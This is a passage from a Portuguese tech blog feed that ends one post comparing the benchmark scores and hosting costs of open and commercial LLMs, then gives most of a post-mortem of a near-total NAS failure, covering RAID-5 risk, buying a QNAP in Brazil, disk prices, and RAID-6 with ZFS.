          <td style="text-align: right">~US$ 51</td>
          <td style="text-align: right">133</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td><strong>GLM 5.3 Flash (NVFP4)</strong></td>
          <td style="text-align: right"><strong>92,5</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 21,96 só inferência</td>
          <td style="text-align: right">145</td>
          <td>B300</td>
      </tr>
      <tr>
          <td><strong>Qwen3.8 Flash-Next (NVFP4)</strong></td>
          <td style="text-align: right"><strong>92,5</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 12,04 só inferência</td>
          <td style="text-align: right">80</td>
          <td>B300</td>
      </tr>
      <tr>
          <td>Claude Sonnet 5</td>
          <td style="text-align: right">91,0</td>
          <td>A</td>
          <td style="text-align: right">~US$ 27</td>
          <td style="text-align: right">112</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td>Gemini 3.8 Flash high</td>
          <td style="text-align: right">90,5</td>
          <td>A</td>
          <td style="text-align: right">US$ 15,98</td>
          <td style="text-align: right">97</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td><strong>Swift 1.5 27B</strong></td>
          <td style="text-align: right"><strong>88,0</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 9,71 só inferência</td>
          <td style="text-align: right">64</td>
          <td>B300</td>
      </tr>
      <tr>
          <td>Claude Opus 4.6</td>
          <td style="text-align: right">87,5</td>
          <td>A</td>
          <td style="text-align: right">US$ 25,64</td>
          <td style="text-align: right">89</td>
          <td>nuvem</td>
      </tr>
  </tbody>
</table>
<p>A leitura: o melhor do open source que cabe numa B300 e que eu servi está <strong>um degrau abaixo do teto comercial e no mesmo nível do meio do Tier A</strong>. Diferenças de um ou dois pontos são ruído de uma rodada.</p>
<p>GLM 5.3 Flash e Qwen3.8 Flash-Next empatam com o Sonnet 5 e passam o Gemini 3.8 Flash e o Opus 4.6. Nenhum chega nos 100 que sete modelos comerciais fizeram, nem nos 98,5 do Grok 4.6. Sete pontos e meio separam o melhor aberto do teto, e no v4 cada ponto é uma sabotagem a menos pega sem aviso.</p>
<p>A diferença que importa é outra: previsibilidade. Entre os comerciais de ponta da tabela, o pior é 87,5, e o campo comercial inteiro também tem fundo de poço, o Mistral Large 3 fez 39. O campo aberto tem os mesmos 92,5 no topo e dois Tier D no fundo, com o DeepSeek fazendo 85 na nuvem e 44,5 na minha mão. Escolher um comercial de ponta é escolher um número que a API reproduz; escolher um aberto é apostar que o checkpoint, a quantização e o seu stack de serving reproduzem o número do card, e às vezes reproduzem.</p>
<h2>A conta<span class="hx:absolute hx:-mt-20" id="a-conta"></span>
    <a href="#a-conta" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se a qualidade ainda fica abaixo da fronteira, o custo pelo menos é proporcional? Depende de onde você roda o modelo aberto.</p>
<p><strong>Na API em nuvem do próprio fornecedor, sim, e com folga.</strong> Uma rodada completa do v4 custou 97 centavos no DeepSeek V4 Flash, 1,17 dólar no Qwen 3.8 Flash, 1,03 no MiMo V2.5 Pro, todos Tier A na nuvem. Contra 9,52 a 30,55 dólares dos modelos de 100 pontos, é dez a trinta vezes mais barato por uma nota 8 a 14 pontos menor. Os preços de lista explicam: o <a href="https://docs.z.ai/guides/overview/pricing"target="_blank" rel="noopener">GLM 5.3 Flash</a> custa 15 centavos por milhão de tokens de entrada e 50 de saída; o <a href="https://api-docs.deepseek.com/quick_start/pricing"target="_blank" rel="noopener">DeepSeek Flash</a>, 15 a 30 centavos de entrada e 60 centavos a 1,20 de saída; o <a href="https://platform.claude.com/docs/en/about-claude/pricing"target="_blank" rel="noopener">Opus 5.5</a>, 4 e 20 dólares; o <a href="https://developers.openai.com/api/docs/pricing"target="_blank" rel="noopener">GPT-6 Astra</a>, 10 e 50.</p>
<p><strong>Na sua própria B300 alugada, não.</strong> O pod custa 9 dólares por hora ligado ou ocioso, <strong>218 por dia, uns 6.500 por mês</strong>. O tempo de modelo desta leva inteira, 14 modelos entre download, carga e sprints, somou 23 horas, uns 212 dólares a preço de pod; só os sprints foram 17 horas e 157 dólares.</p>
<p>Só que o pod cobra também o tempo em que nada roda. Eu coloquei 400 dólares de crédito na Runpod e sobraram 127: a leva inteira custou <strong>273 dólares</strong>, umas 30 horas de pod, incluindo armazenamento, quatro pods em sequência e sete horas ociosas numa madrugada em que a orquestração morreu e nada avisou. Quase 60 dólares a mais que o tempo de modelo, só de espera. A conta de ponto de equilíbrio do repositório: o pod só fica mais barato que a API a partir de umas <strong>6.500 rodadas por mês</strong>, 217 por dia, sustentadas. Um desenvolvedor sozinho ou um time pequeno nem chega perto.</p>
<p>E modelo contra modelo, lado a lado:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>API em nuvem</th>
          <th>Hospedado por mim na B300</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DeepSeek V4 Flash 0731</td>
          <td>85 (A) por US$ 1,94</td>
          <td>44,5 (D) por US$ 5,59 só de inferência</td>
      </tr>
      <tr>
          <td>Qwen 3.8 Flash (nuvem) e Flash-Next (B300), da mesma família</td>
          <td>86,5 (A) por US$ 1,17</td>
          <td>92,5 (A) por US$ 12,04</td>
      </tr>
      <tr>
          <td>Qwen 3.8 27B</td>
          <td>80 (B) de graça no Strix, em 706 minutos</td>
          <td>80,5 (B) por US$ 29,11, em 192 minutos</td>
      </tr>
  </tbody>
</table>
<blockquote>
  <p>A API em nuvem de um modelo aberto é dez a trinta vezes mais barata que a fronteira por um tier a menos. Hospedar o mesmo modelo numa B300 alugada é mais caro que a fronteira, e às vezes pior que a própria API dele.</p>

</blockquote>
<h2>Cabe um time na mesma placa?<span class="hx:absolute hx:-mt-20" id="cabe-um-time-na-mesma-placa"></span>
    <a href="#cabe-um-time-na-mesma-placa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma pergunta que eu fiz olhando a GPU a 10% de uso: esses modelos usam toda a computação do pod? Dava pra colocar um time inteiro na mesma B300?</p>
<p>Em princípio, sim, e é pra isso que o vLLM existe. O <a href="https://vllm.ai/blog/2023-06-20-vllm"target="_blank" rel="noopener">batching contínuo</a> agenda várias requisições no mesmo passo de decodificação, e o <a href="https://vllm.ai/blog/2023-06-20-vllm"target="_blank" rel="noopener">PagedAttention</a> guarda o cache de KV de cada sessão em blocos não contíguos, com menos de 4% de desperdício, justamente pra caber mais sessões na mesma memória. Um modelo de 27 bilhões em BF16 ocupa 56 GB e deixa uns 200 GB de cache de KV: são dezenas de sessões de agente com contexto de 128 mil tokens ao mesmo tempo. O 397B, com 251 GB de pesos, deixa 24, e aí cabem poucas.</p>
<p>O que não escala é a velocidade por pessoa. O meu teste rodou em <code>--performance-mode interactivity</code>, que otimiza a latência de um fluxo só, e os 200 tokens por segundo são desse fluxo. Com dez agentes decodificando ao mesmo tempo, a vazão agregada da placa sobe e a de cada um cai, e a decodificação especulativa que me deu os 295 do Muse Glimmer rende menos conforme a concorrência cresce: um <a href="https://huggingface.co/z-lab/Muse-Glimmer-30B-DFlash2"target="_blank" rel="noopener">rascunhador DFlash publicado pro Muse pelo Z Lab</a> reporta 3 a 4,6 vezes de ganho com uma sessão e 1,2 a 1,7 com 32.</p>
<p>Eu não medi concorrência nesta leva, então o que posso dizer é o contorno: um time de cinco a dez pessoas num modelo de 27 a 35 bilhões numa B300 é prático, e provavelmente cada um ainda fica acima dos 100 tokens por segundo. O mesmo time no 397B é inviável na placa, e no GLM 5.3 Flash de 198 GB fica apertado.</p>
<p>É nesse cenário, e só nele, que a conta do pod começa a fechar. Dez desenvolvedores rodando agente o dia inteiro num modelo de 27B gastariam na API, a um dólar por rodada de duas horas, uns 40 dólares por dia; o pod custa 218. Ainda perde. O que muda a conta é ter cem pessoas, ou ter a obrigação de que o código não saia da sua rede.</p>
<h2>Vale a pena ter a própria infra?<span class="hx:absolute hx:-mt-20" id="vale-a-pena-ter-a-própria-infra"></span>
    <a href="#vale-a-pena-ter-a-pr%c3%b3pria-infra" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra desenvolvimento de software sério, com os dados desta leva, a resposta vem em três partes.</p>
<p><strong>Os modelos abertos de ponta são bons o suficiente.</strong> GLM 5.3 Flash, Qwen3.8 Flash-Next e Swift 1.5 27B são Tier A no meu teste, no nível do Sonnet 5 e acima do Opus 4.6. Isso era impensável em abril, quando <a href="/2026/04/05/testando-llms-open-source-e-comerciais-quem-consegue-bater-o-claude-opus/">só o Qwen 3.6 35B chegava perto do Opus</a>, e ainda a uma correção de distância. Pra quem aceita um tier abaixo do teto, eles servem pra trabalho de verdade, inclusive revisão de segurança, que é o que o v4 mede.</p>
<p><strong>Alugar uma B300 pra rodar eles é o jeito errado de usá-los.</strong> A API em nuvem do mesmo modelo custa um dólar por rodada e precisa de zero configuração. O pod custa 218 por dia, exige um dia de ajuste por família de modelo, e no caso do DeepSeek entregou um modelo pior do que a API dele. Só vale com uma obrigação de residência de dados, com um checkpoint que nenhuma nuvem serve, com carga sustentada de centenas de rodadas por dia, ou com necessidade de pesos fixados pra reprodutibilidade. Quatro B300 pra rodar os de 750 bilhões a um trilhão quadruplicam a conta sem evidência de que a nota chega nos 100: o 397B, maior modelo que eu testei, fez 68,5.</p>
<p><strong>E se for pra hospedar, hospede pequeno.</strong> O Swift 1.5 27B e o ThinkingCap em 56 GB, com MTP, a 200 tokens por segundo, são Tier A em hardware que dá pra comprar, uma placa profissional de 80 ou 96 GB em vez de uma de datacenter. É ali que o open source faz sentido pra uma empresa: um time inteiro numa placa, código dentro da rede, nota de Opus 4.6. Só olhe a licença antes: o Swift e o ThinkingCap saem com licenças próprias, e acima de um certo faturamento os dois exigem licença comercial. Os gigantes abertos continuam sendo coisa pra API.</p>
<p>Minha regra depois disso tudo: modelo comercial de ponta pra tarefa que não pode errar, API de modelo aberto pra volume, e placa própria só quando a lei ou o cliente exigem. O repositório com cada argumento de serving, cada log de sondagem, cada transcrição de revisor e a proveniência Codex ou Claude de cada fronteira está <a href="https://github.com/akitaonrails/llm-coding-benchmark"target="_blank" rel="noopener">público</a>, como sempre.</p>
]]></content:encoded><category>benchmarks-de-llm</category><category>modelos-locais</category><category>llms</category><category>hardware</category></item><item><title>Desastre no meu NAS! Como quase perdi 90 TB de dados</title><link>https://akitaonrails.github.io/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/</guid><pubDate>Tue, 06 Oct 2026 12:00:00 -0300</pubDate><description>&lt;p&gt;Ontem, segunda-feira, fui acordado às 8 da manhã por um bipe alto e insistente. Eu sabia que era o NAS antes de abrir o olho. Corri pra ver, e quase perdi o chão: dois discos marcados como críticos, num array que nunca pode ter mais do que um.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-2-discos-criticos.png" alt="Painel do Synology mostrando o Storage Pool 1 em estado crítico, com os discos 1 e 8 marcados como Critical" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Naquele momento eu sabia que estava a um soluço de perder tudo. Este texto é o post-mortem do que aconteceu, e a primeira parte foi escrita no calor do desastre, com a cópia de salvamento ainda rodando.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Ontem, segunda-feira, fui acordado às 8 da manhã por um bipe alto e insistente. Eu sabia que era o NAS antes de abrir o olho. Corri pra ver, e quase perdi o chão: dois discos marcados como críticos, num array que nunca pode ter mais do que um.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-2-discos-criticos.png" alt="Painel do Synology mostrando o Storage Pool 1 em estado crítico, com os discos 1 e 8 marcados como Critical"  loading="lazy" /></p>
<p>Naquele momento eu sabia que estava a um soluço de perder tudo. Este texto é o post-mortem do que aconteceu, e a primeira parte foi escrita no calor do desastre, com a cópia de salvamento ainda rodando.</p>
<blockquote>
  <p><strong>Atualização de 11 de outubro:</strong> a cópia terminou e o final foi feliz. Nenhum arquivo se perdeu por acidente, os dois NAS estão saudáveis, cada um com seu RAID-6. A recuperação inteira está na <a href="#seis-dias-depois-o-final-da-hist%c3%b3ria">segunda metade deste texto</a>. A primeira parte fica como foi publicada, sem retoques.</p>

</blockquote>
<h2>Eu uso NAS faz muito tempo<span class="hx:absolute hx:-mt-20" id="eu-uso-nas-faz-muito-tempo"></span>
    <a href="#eu-uso-nas-faz-muito-tempo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não sou marinheiro de primeira viagem. Fiz uma <a href="https://www.youtube.com/playlist?list=PLdsnXVqbHDUcM0LTAxqrVrTy6Q7jQprjt"target="_blank" rel="noopener">minissérie inteira de vídeos sobre armazenamento e sistemas de arquivos</a>, e recomendo assistir antes de vir me perguntar &ldquo;qual um bom NAS pra iniciante?&rdquo;. Não existe isso.</p>
<p>Uso armazenamento externo desde a segunda metade dos anos 2000, quando era usuário de Mac e existia o Drobo. A empresa não existe mais, mas tive três DAS deles antes de migrar pra Synology, primeiro num modelo de entrada e depois no DS1821+, intermediário, que uso há mais de cinco anos. Já escrevi sobre ele aqui, <a href="/2025/04/17/configurando-meu-nas-synology-com-nfs-no-linux/">configurando NFS no Linux</a> e <a href="/2025/04/24/acessando-seu-nas-usando-iscsi-em-vez-de-smb/">acessando por iSCSI</a>.</p>
<p>Ele foi muito valioso pra mim, e você não tem que questionar por que eu preciso de tanto espaço. Não importa: cada um decide o que guarda no seu.</p>
<p>Quando eu produzia vídeo pro YouTube, editava material 4K direto do NAS, graças ao cache NVMe e à rede 10 GbE. Me acostumei com armazenamento grande a 10 gigabits e não consigo mais voltar atrás.</p>
<p>O array estava organizado em SHR, o RAID híbrido da Synology, que na prática se comporta como RAID-5 (mais sobre isso adiante): aguenta a perda de um disco sem perder dado nenhum. Sempre achei que isso bastava.</p>
<h2>HD morre. Sempre<span class="hx:absolute hx:-mt-20" id="hd-morre-sempre"></span>
    <a href="#hd-morre-sempre" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não se engane: disco rígido estraga. Nunca, jamais confie num HD solitário esquecido num armário. Ele vai falhar, e você vai perder tudo o que está nele.</p>
<p>O melhor dado público sobre isso é o da Backblaze, que opera centenas de milhares de discos e publica a taxa de falha todo trimestre. No <a href="https://www.backblaze.com/blog/backblaze-drive-stats-for-q2-2026/"target="_blank" rel="noopener">relatório do segundo trimestre de 2026</a>, com 354.415 discos monitorados, a taxa anualizada foi de 1,73%, e a taxa acumulada da frota inteira está em 1,41% ao ano.</p>
<p>Parece pouco. Traduzindo pra escala de gente:</p>
<ul>
<li><strong>Um disco sozinho, por 5 anos:</strong> a chance de ele morrer nesse período fica perto de 7%. É mais ou menos a chance de tirar um número específico num dado de 14 lados. Você apostaria todas as fotos da sua família nisso?</li>
<li><strong>Um disco sozinho, por 10 anos:</strong> uns 13%, um em cada oito.</li>
<li><strong>Oito discos, como no meu NAS, por um ano:</strong> a chance de pelo menos um falhar é de uns 11%. Em cinco anos, mais de 40%.</li>
</ul>
<p>E esses números são de datacenter, com temperatura controlada, energia limpa e disco girando o tempo todo. HD de gaveta, que fica anos parado e leva tranco na mudança, não tem estatística tão bonita.</p>
<p>Cartão de memória é pior, e nem existe uma estatística equivalente pra consultar. O que existe é teste de tortura: o <a href="https://www.bahjeez.com/the-great-microsd-card-survey-one-year-later/"target="_blank" rel="noopener">Great MicroSD Card Survey</a> testou 216 cartões ao longo de um ano de escrita contínua, e 52 deles, um em cada quatro, já tinham morrido.</p>
<p>Cartão legítimo começou a dar erro, em média, depois de uns 2.500 ciclos de regravação; cartão falsificado, depois de 700. Cartão de memória é mídia de transporte. Guardar a única cópia de alguma coisa num microSD é pedir pra perder.</p>
<p>A conclusão prática é a mesma da minissérie: dado importante precisa de redundância. Um array com paridade existe justamente pra que a morte de um disco, que é questão de tempo, não leve nada junto.</p>
<h2>O que aconteceu<span class="hx:absolute hx:-mt-20" id="o-que-aconteceu"></span>
    <a href="#o-que-aconteceu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Com tudo isso, eu deveria estar tranquilo com a minha configuração. Não estava.</p>
<p>Começou anteontem, domingo. Fazia tempo que eu via o volume chegando no teto.</p>
<p>No começo eram 8 discos de 10 TB. Com os anos fui trocando, um a um, por discos de 20 TB (o DSM mostra em base binária; na etiqueta são 12 e 22 TB). É um processo lento: cada troca leva dias, porque o array precisa reconstruir e redistribuir os dados.</p>
<p>Decidi trocar mais um, o sétimo. A Synology suporta hot-swap, então é simples: tira o disco velho, encaixa o novo, adiciona ao array e deixa o DSM cuidar da reconstrução.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-pool-reparando.png" alt="Storage Pool 1 do Synology em reparo, 0,01% concluído, com 108 TB alocados de 121,8 TB"  loading="lazy" /></p>
<p>No domingo à noite estava assim: reconstrução começando, os oito discos saudáveis, 108 TB alocados de 121,8 TB.</p>
<p>Na segunda, às 8 da manhã, o bipe. O disco 1, o novo, com 13 horas de uso, marcado como crítico:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-drive1-critico.png" alt="Disco 1 do Synology em estado crítico, com erro de I/O e 13 horas ligado"  loading="lazy" /></p>
<p>E o disco 8, um dos antigos, com 22.095 horas ligado (dois anos e meio), também crítico, com erro de leitura às 08:05:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-drive8-critico.png" alt="Disco 8 do Synology em estado crítico, com erro de leitura e a mensagem de que o número de discos com falha excede a tolerância do RAID"  loading="lazy" /></p>
<p>A mensagem do pool não deixava margem: &ldquo;erros irrecuperáveis ocorreram porque erros de disco aconteceram depois da degradação do storage pool. Faça backup dos seus dados imediatamente.&rdquo;</p>
<h3>Por que dois discos é o fim<span class="hx:absolute hx:-mt-20" id="por-que-dois-discos-é-o-fim"></span>
    <a href="#por-que-dois-discos-%c3%a9-o-fim" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Em RAID-5, se dois discos caem, a redundância é zero, e em teoria o array inteiro vai junto. É uma situação irrecuperável.</p>
<p>Quem assistiu a minha playlist sabe o motivo. Um array desses não guarda &ldquo;arquivos&rdquo;, um por disco. Um arquivo é uma coleção de blocos, e os blocos ficam espalhados por todos os discos, junto com a paridade. Perder um disco é perder um pedaço de cada arquivo. Não adianta os outros sete estarem saudáveis, porque eles só têm partes.</p>
<p>A paridade serve pra recalcular o pedaço que falta quando um disco some. Com dois faltando, a conta não fecha.</p>
<p>E tem um detalhe cruel na reconstrução: pra recriar o disco novo, o array precisa ler todos os outros discos de ponta a ponta. São mais de 100 TB de leitura contínua. Se algum disco antigo tinha setor ruim escondido num canto que ninguém lia fazia tempo, é nessa hora que ele aparece. Foi o que aconteceu com o disco 8.</p>
<h2>Pra onde copiar 90 TB?<span class="hx:absolute hx:-mt-20" id="pra-onde-copiar-90-tb"></span>
    <a href="#pra-onde-copiar-90-tb" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A única saída, naquele ponto, era agradecer aos céus por os volumes ainda estarem acessíveis, com os arquivos aparecendo, e usar a janela pra copiar tudo pra fora imediatamente. Eu não podia encostar em mais nada.</p>
<p>O problema: copiar uns 90 TB pra onde? Ninguém tem um NAS de 100 TB vazio sobrando em casa.</p>
<p>Normalmente eu compraria esse tipo de peça nos Estados Unidos, numa viagem de turismo, e traria comigo. Sai muito mais barato. Não compensa comprar eletrônico caro no Brasil: o país cobra imposto de importação pior que as tarifas do Trump faz décadas, e o preço final costuma passar do dobro do preço de tabela americano.</p>
<p>Só que eu tinha que escolher. Quanto vale perder 90 TB de dados que levei anos juntando e que são quase impossíveis de recuperar de outro lugar? É uma daquelas situações em que a resposta é &ldquo;não tem preço&rdquo;, e então, qualquer que seja o preço, eu pago.</p>
<p>Achei um revendedor de storage perto de casa, a <a href="https://www.controle.net"target="_blank" rel="noopener">Controle Net</a>. Gente boa, muito ágil na resposta, e me mandaram uma proposta de equipamento com entrega no mesmo dia.</p>
<p>A primeira sugestão deles foi um QNAP TS-832PX. Fui pesquisar antes de aceitar. Ele tem as mesmas 8 baias e já vem com 10 GbE, mas o processador é um ARM Cortex-A57 de 1,7 GHz (Annapurna Labs AL324) com 4 GB de RAM, metade do mínimo de 8 GB que o QuTS hero pede. Pra RAID-6 em ZFS, com checksum e paridade dupla em cada bloco, é hardware fraco, como eu explico mais abaixo. E seria um downgrade em relação ao DS1821+ que eu já tinha, que roda num Ryzen V1500B.</p>
<p>Pedi outra opção, e depois de algumas idas e vindas fechei num QNAP TS-873A, de 8 baias, com o mesmo Ryzen V1500B do meu Synology, 8 GB de RAM, e 10 discos Toshiba MG11 de 24 TB, classe enterprise.</p>
<p>É por isso que você tem que fazer a sua própria pesquisa e saber, objetivamente, o que quer fazer com o equipamento. O revendedor não agiu de má-fé: sugeriu um NAS de 8 baias pra quem pediu um NAS de 8 baias. Quem sabia que ia rodar ZFS em RAID-6 era eu. Se eu tivesse aceitado a primeira proposta no susto, teria pago caro por uma máquina pior do que a que estava substituindo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-proposta-qnap.png" alt="Proposta do revendedor: QNAP TS-873A, 10 discos Toshiba MG11ACA24TE de 24 TB, instalação, treinamento e suporte por 6 anos, total de R$ 185.320,00"  loading="lazy" /></p>
<p>R$ 185.320,00. De fazer o olho lacrimejar.</p>
<h3>Quanto custaria nos Estados Unidos<span class="hx:absolute hx:-mt-20" id="quanto-custaria-nos-estados-unidos"></span>
    <a href="#quanto-custaria-nos-estados-unidos" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Fui conferir o preço de tabela americano de hoje. Sobre o câmbio: o dólar está em R$ 4,97 agora, mas isso é efeito do resultado do primeiro turno da eleição de domingo, que derrubou a cotação mais de 4% na segunda. Até sexta ele fechava em R$ 5,22, e é essa a cotação justa pra comparar, porque foi nela que o estoque do revendedor foi formado:</p>
<table>
  <thead>
      <tr>
          <th>Item</th>
          <th style="text-align: right">Preço nos EUA</th>
          <th style="text-align: right">Total</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>QNAP TS-873A-8G (<a href="https://store.qnap.com/ts-873a-8g-us.html"target="_blank" rel="noopener">loja da QNAP</a>, Newegg)</td>
          <td style="text-align: right">US$ 1.199</td>
          <td style="text-align: right">US$ 1.199</td>
      </tr>
      <tr>
          <td>10 × Toshiba MG11ACA24TE 24 TB (<a href="https://www.bhphotovideo.com/c/product/1889900-REG/toshiba_mg11aca24te_24tb_mg10_series_7200.html"target="_blank" rel="noopener">B&amp;H</a>)</td>
          <td style="text-align: right">US$ 999,99 cada</td>
          <td style="text-align: right">US$ 9.999,90</td>
      </tr>
      <tr>
          <td>Placa 10 GbE QXG-10G2T-X710 (<a href="https://www.bhphotovideo.com/c/product/1643883-REG/qnap_qxg_10g2t_x710_dual_port_10gbase_t_10gbe_network.html"target="_blank" rel="noopener">B&amp;H</a>)</td>
          <td style="text-align: right">US$ 351,99</td>
          <td style="text-align: right">US$ 351,99</td>
      </tr>
      <tr>
          <td><strong>Total</strong></td>
          <td style="text-align: right"></td>
          <td style="text-align: right"><strong>~US$ 11.550</strong></td>
      </tr>
  </tbody>
</table>
<p>A R$ 5,22, uns R$ 60 mil. Eu paguei R$ 185 mil, mais de três vezes isso.</p>
<p>A comparação não é perfeita: a proposta brasileira inclui instalação, treinamento e seis anos de suporte técnico, e o equipamento estava na minha mesa no fim do mesmo dia. Mas dá a medida do efeito Brasil.</p>
<p>Se a regra de bolso é &ldquo;o dobro do preço americano&rdquo;, o normal seria uns R$ 120 mil. Os R$ 65 mil a mais são, numa estimativa grosseira minha, a soma de serviço, estoque local de disco enterprise e a minha urgência. Quem compra numa segunda de manhã com o array morrendo não está em posição de pechinchar.</p>
<h3>E o disco está caro no mundo inteiro<span class="hx:absolute hx:-mt-20" id="e-o-disco-está-caro-no-mundo-inteiro"></span>
    <a href="#e-o-disco-est%c3%a1-caro-no-mundo-inteiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Pra piorar, o momento é o pior possível pra comprar HD. A bolha de IA está sugando a produção.</p>
<table>
  <thead>
      <tr>
          <th>Indicador</th>
          <th>Antes</th>
          <th>Agora</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>WD Blue 4 TB (histórico do Camelcamelcamel)</td>
          <td>US$ 67 a 85</td>
          <td>US$ 99, <a href="https://winbuzzer.com/2026/02/18/wd-seagate-2026-hard-drive-shortage-ai-data-centers-xcxwbn/"target="_blank" rel="noopener">quase 50% a mais em cinco meses</a> (fevereiro de 2026)</td>
      </tr>
      <tr>
          <td>Capacidade de produção</td>
          <td>disponível no varejo</td>
          <td>WD: 2026 praticamente esgotado, com contratos até 2027 e 2028; Seagate: capacidade nearline toda alocada</td>
      </tr>
      <tr>
          <td>Margem bruta da WD</td>
          <td>41,0% um ano antes</td>
          <td><a href="https://datacenterdisk.com/news/hard-drive-prices-up-50-percent-2026"target="_blank" rel="noopener">54,1% no trimestre encerrado em julho de 2026</a></td>
      </tr>
  </tbody>
</table>
<p>Eu achava que a Seagate tinha saído do mercado consumidor. Fui conferir, e não é bem isso: ela não saiu, mas em fevereiro 87% das vendas de HD dela já eram disco nearline, de datacenter, e a WD tira 89% da receita de clientes de nuvem e só 5% do varejo. O CEO da WD disse que a empresa está &ldquo;praticamente esgotada para o ano de 2026&rdquo;.</p>
<p>A Seagate declarou que não vai ampliar a capacidade de produção; o crescimento vem só de disco de maior densidade. Pra quem compra disco em casa, o efeito prático é parecido com terem saído: sobra o que os hyperscalers não quiseram, pelo preço que o vendedor pedir.</p>
<h2>QNAP em vez de outra Synology<span class="hx:absolute hx:-mt-20" id="qnap-em-vez-de-outra-synology"></span>
    <a href="#qnap-em-vez-de-outra-synology" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois de passar a manhã e a tarde entre negociação, burocracia e boleto, no fim do dia eu tinha o QNAP ligado ao lado do Synology.</p>
<p>A escolha pela QNAP foi além da disponibilidade. A Synology vem tomando decisão de negócio questionável.</p>
<p>Em 2025 ela lançou a linha Plus <a href="https://www.tomshardware.com/pc-components/nas/synology-walks-back-controversial-compatibility-policy-for-2025-nas-units-third-party-hdd-and-ssd-support-returns-with-diskstation-manager-7-3-update"target="_blank" rel="noopener">exigindo discos da própria marca ou certificados por ela</a>.</p>
<p>Os da marca são discos de Seagate, Toshiba e WD rebatizados com firmware próprio, e quem usasse outro ficava sem criar pool, sem monitoramento de saúde, sem deduplicação e sem atualização de firmware. Depois da gritaria, <a href="https://www.howtogeek.com/synology-is-walking-back-its-drive-requirements/"target="_blank" rel="noopener">voltou atrás no DSM 7.3</a> e liberou HD e SSD SATA de outras marcas.</p>
<p>Só que pool em M.2 continua exigindo a lista de compatibilidade. Ficou a incerteza no ar: o que impede de fazerem de novo?</p>
<p>Configurar o QNAP é muito fácil. O QuTS hero, o sistema deles baseado em ZFS, é tão simples de usar quanto o DSM da Synology.</p>
<h2>Corrigindo o meu erro: RAID-6 e ZFS<span class="hx:absolute hx:-mt-20" id="corrigindo-o-meu-erro-raid-6-e-zfs"></span>
    <a href="#corrigindo-o-meu-erro-raid-6-e-zfs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Dessa vez eu sabia que tinha que configurar em RAID-6, que aguenta dois discos falhando ao mesmo tempo. A desvantagem é menos capacidade total, porque o equivalente a dois discos vira paridade em vez de um. A vantagem é que eu não deveria mais passar por uma emergência como esta.</p>
<p>Um dos pontos fortes da QNAP é suportar ZFS de fábrica, bem integrado e fácil de usar.</p>
<p>Pra quem não conhece: o ZFS nasceu na Sun Microsystems, pro Solaris, em meados dos anos 2000, e hoje vive como OpenZFS em Linux e FreeBSD. Ele junta num sistema só o que antes eram três camadas, o RAID, o gerenciador de volumes e o sistema de arquivos. Guarda um checksum de cada bloco, então percebe quando o disco devolve dado corrompido sem avisar, e conserta sozinho a partir da paridade. E nunca sobrescreve dado no lugar: toda escrita vai pra um bloco novo, o que torna snapshot praticamente gratuito.</p>
<p>A fama de devorador de RAM vem de duas coisas. A primeira é o ARC, o cache dele, que por desenho ocupa quase toda a memória livre da máquina. Isso assusta quem olha o gráfico, mas é cache: ele devolve a memória quando outro processo pede. A segunda é a desduplicação, que mantém uma tabela enorme com o hash de cada bloco e precisa dela na RAM pra não ficar inutilizável de tão lenta. A velha regra de &ldquo;1 GB de RAM por TB de disco&rdquo; vem daí, e só vale pra quem liga desduplicação.</p>
<p>Mesmo sem ela, ZFS pesa mais que um ext4 ou um Btrfs simples. Calcular checksum, compressão e paridade dupla de cada bloco gasta CPU, e com pouca memória o cache encolhe e tudo fica lento. Em hardware fraco, tipo um NAS de entrada com processador ARM e 2 GB de RAM, ele sofre.</p>
<p>A QNAP pede no mínimo 8 GB pro QuTS hero. O meu veio com 8 GB e um Ryzen de quatro núcleos, o que serve pro meu uso, que é guardar arquivo grande e servir pela rede. Desduplicação fica desligada.</p>
<p>Comprei 10 discos pra um NAS de 8 baias, então sobram dois na gaveta, de reserva, pro dia em que um falhar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-criando-pool-raid6.png" alt="Assistente de criação de storage pool do QNAP: 8 discos em RAID 6, 126 TB, over-provisioning de 5%, espaço garantido de snapshot de 5% e alerta em 85%"  loading="lazy" /></p>
<p>Pra minha configuração simples, três ajustes:</p>
<ul>
